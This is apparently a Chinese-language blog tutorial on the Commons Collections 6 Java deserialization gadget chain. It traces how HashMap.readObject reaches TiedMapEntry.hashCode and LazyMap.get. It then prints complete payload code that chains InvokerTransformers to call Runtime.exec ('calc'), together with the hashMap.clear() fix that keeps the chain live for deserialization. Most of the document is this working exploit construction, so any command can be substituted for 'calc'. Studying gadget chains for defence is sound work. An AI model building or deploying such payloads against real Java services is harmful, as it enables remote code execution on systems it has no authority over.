JAVA反序列化之CC链6

JAVA反序列化之CC链6

前言

**CC链6是最普适的一条链子,不受版本的限制,主要还是和它选用的反序列化类有关系,CC链6是在CC链(补充)1的基础上,进行的改进的,将反序列化的起始类改成了HashMap类,所以突破了版本的限制 **

CC6启动

我们在前面分析URLDNSLOG那条链子的时候,入口类就是HashMap,清楚的明白,其readObject方法调用了hash(key)方法

1
2
3
4
5
6
7
8
9
 for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}

//节选自HashMap的readObject方法

hash(key)其实调用了HashMap里面的hash方法

1
2
3
4
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

因为基于CC链1的缘故,我们还是使用的LazyMap,所以还是得调用LazyMap里面的get方法,所以此时我们要找一个类,这个类的hashCode方法里面调用了get方法

我们找到了TiedMapEntry类,其类的hashCode方法是这样写的

1
2
3
4
5
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}

看样子是没有调用get方法的,其实呢,是调用了的,就在getValue()方法中

1
2
3
public Object getValue() {
return map.get(key);
}

我们再看看参数是否可控呢?

1
2
3
4
5
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}

有一个公有的构造方法,所以参数是我们可控的,我们只要传入LazyMap就可以了

比较简单,直接构造payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedtransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> hashMap = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedtransformer);


HashMap<Object,Object> hashtoMap= new HashMap<>();
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"AAA");
hashtoMap.put(tiedMapEntry,"XXX");

SerializeUtil.serialize(hashtoMap,"hashtoMap.bin");

但是,如此构造payload就会遇到一个问题,和URLDNSLOG那条链子一样的问题,就是我们在hashtoMap.put(tiedMapEntry,”XXX”)的时候,就已经开始执行这条链子了

1
2
3
4
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

因为put里面也调用了hash(key),导致后面一系列的执行,最要命的是,如此执行之后,我们反序列化时就不会执行代码了,为啥呢

因为一旦执行到LazyMap的get方法

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

就会在我们传入的空的hashMap上加入这个键值,导致反序列化时,if判断不是false,无法执行transform函数

解决方法也和URLDNSLOG那条链一致

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedtransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> hashMap = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedtransformer);


HashMap<Object,Object> hashtoMap= new HashMap<>();
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"AAA");
hashtoMap.put(tiedMapEntry,"XXX");
hashMap.clear(); //加一个这个代码就行了,清空一下hashMap反序列化就不会执行了


//SerializeUtil.serialize(hashtoMap,"hashtoMap.bin");
Object deserialize = SerializeUtil.deserialize("hashtoMap.bin");

如果想要执行put的时候也不执行命令,也是可以的,不过我觉得没必要,这里也不是执行DNSLOG,我觉得没有影响

如果还是想,就在前面将LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedtransformer);第二个参数改成一个new ChainedTransformer(),待执行完put之后,反射调用LazyMap将chainedtransformer再次赋值回去

参考资料

1
【Java反序列化CommonsCollections篇(二)-最好用的CC链】https://www.bilibili.com/video/BV1yP4y1p7N7?vd_source=c210ec42fbb60565fb74b1baf7a2c3ef